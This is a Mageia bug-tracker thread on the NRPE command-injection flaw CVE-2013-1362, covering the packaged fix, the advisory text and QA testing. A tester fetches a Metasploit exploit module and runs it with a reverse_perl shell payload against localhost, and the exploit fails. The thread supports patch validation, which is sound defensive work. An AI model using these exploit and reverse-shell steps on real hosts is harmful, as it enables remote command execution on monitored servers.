Mageia Bugzilla – Bug 9615
nrpe new security issue CVE-2013-1362
Last modified: 2013-05-09 12:36:25 CEST
OpenSuSE has issued an advisory today (April 4):
Mageia 2 is also affected.
Steps to Reproduce:
Fixed in Cauldron in nrpe-2.14-1.mga3.
(In reply to David Walser from comment #1)
> Fixed in Cauldron in nrpe-2.14-1.mga3.
Oops, not quite yet:
nrpe-2.14-1.mga3 uploaded in Cauldron. Thanks Guillaume.
This is updated in SVN for Mageia 2 by Daniel Lucio.
We had to remove it from updates_testing because the release tag was wrong, as it should be 1 with no subrel, so that it's not newer than Cauldron. I fixed the release tag in SVN.
Daniel, if this update is otherwise ready, go ahead and submit it to the build system again and we can assign this to QA. Thanks.
Updated package uploaded for Mageia 2. Thanks Daniel!
Updated nrpe packages fix security vulnerability:
NRPE (the Nagios Remote Plug-In Executor) allows the passing of $() to
plugins/scripts which, if run under bash, will execute that shell command
under a subprocess and pass the output as a parameter to the called script.
Using this, it is possible to get called scripts, such as check_http, to
execute arbitrary commands under the uid that NRPE/nagios is running as
(typically, 'nagios') (CVE-2013-1362).
With this update NRPE will deny remote requests containing a bash command substitution.
Updated packages in core/updates_testing:
# service nrpe start
Starting nrpe (via systemctl): [ OK ]
# netstat -at | grep nrpe
tcp 0 0 *:nrpe *:* LISTEN
# /usr/lib/nagios/plugins/check_nrpe -H localhost
# tailf /var/log/syslog
Open another terminal tab..
$ git clone https://github.com/bcoles/metasploit-framework.git metasploit
$ wget -O metasploit/modules/exploits/linux/misc/nagios_nrpe_arguments.rb http://packetstormsecurity.com/files/download/121287/nagios_nrpe_arguments.rb.txt
$ cd metasploit/
at metasploit console..
msf > use exploit/linux/misc/nagios_nrpe_arguments
msf exploit(nagios_nrpe_arguments) > show options
msf exploit(nagios_nrpe_arguments) > set RHOST localhost
RHOST => localhost
msf exploit(nagios_nrpe_arguments) > set PAYLOAD cmd/unix/reverse_perl
PAYLOAD => cmd/unix/reverse_perl
msf exploit(nagios_nrpe_arguments) > set LHOST localhost
LHOST => localhost
msf exploit(nagios_nrpe_arguments) > exploit
[*] Started reverse handler on 127.0.0.1:4444
[*] Checking if remote NRPE supports command line arguments
[-] Exploit failed [not-found]: Host does not support plugin command line arguments or is not accepting connections
In syslog in the other terminal tab..
nrpe: Error: Request contained command arguments, but argument option is not enabled!
nrpe: Client request was invalid, bailing out...
We're maybe not vulnerable to this, will need to check with 2 hosts rather than both on localhost.
A clearer PoC link: http://eromang.zataz.com/2013/04/12/cve-2013-1362-nagios-remote-plugin-executor-arbitrary-command-execution-metasploit-demo/
Looks like this would have to be set to 1 in /etc/nagios/nrpe.conf
# *** ENABLING THIS OPTION IS A SECURITY RISK! ***
# Read the SECURITY file for information on some of the security implications
# of enabling this variable.
# Values: 0=do not allow arguments, 1=allow command arguments
I'll try to play some more later.
Perhaps as we ship with it disabled and this is a direct update rather than patch it is enough to show the service is starting and listening after update.
Notice one issue though when stopping/restarting the service..
nrpe: Caught SIGTERM - shutting down...
nrpe: Cannot remove pidfile '/var/run/nrpe/nrpe.pid' - check your privileges.
nrpe: Daemon shutdown
nrpe: Stopping nrpe: [ OK ]
# ll /var/run/nrpe/nrpe.pid
-rw-r--r-- 1 root root 6 May 3 18:16 /var/run/nrpe/nrpe.pid
nrpe runs as user/group nagios
Tested with two hosts, set to allow commands and to allow connections from each other and both services restarted. I'm not able to reproduce with the PoC, the exploit doesn't show a failure, just doesn't seem to work.
Just testing to ensure the updated service starts and is listening.
# /usr/lib/nagios/plugins/check_nrpe -H <remote host ip>
Checked from 64bit local to 32bit remote and vica versa so confirmed the service is listening and talking.
The permissions issue doesn't prevent the service from stopping but it does leave a pid file behind. The pid file doesn't prevent the service from restarting either, I'll create a new bug for it.
Created bug 9972 for the pid file issue
Validating this one
SRPM & Advisory in comment 5
Could sysadmin please push from core/updates_testing to core/updates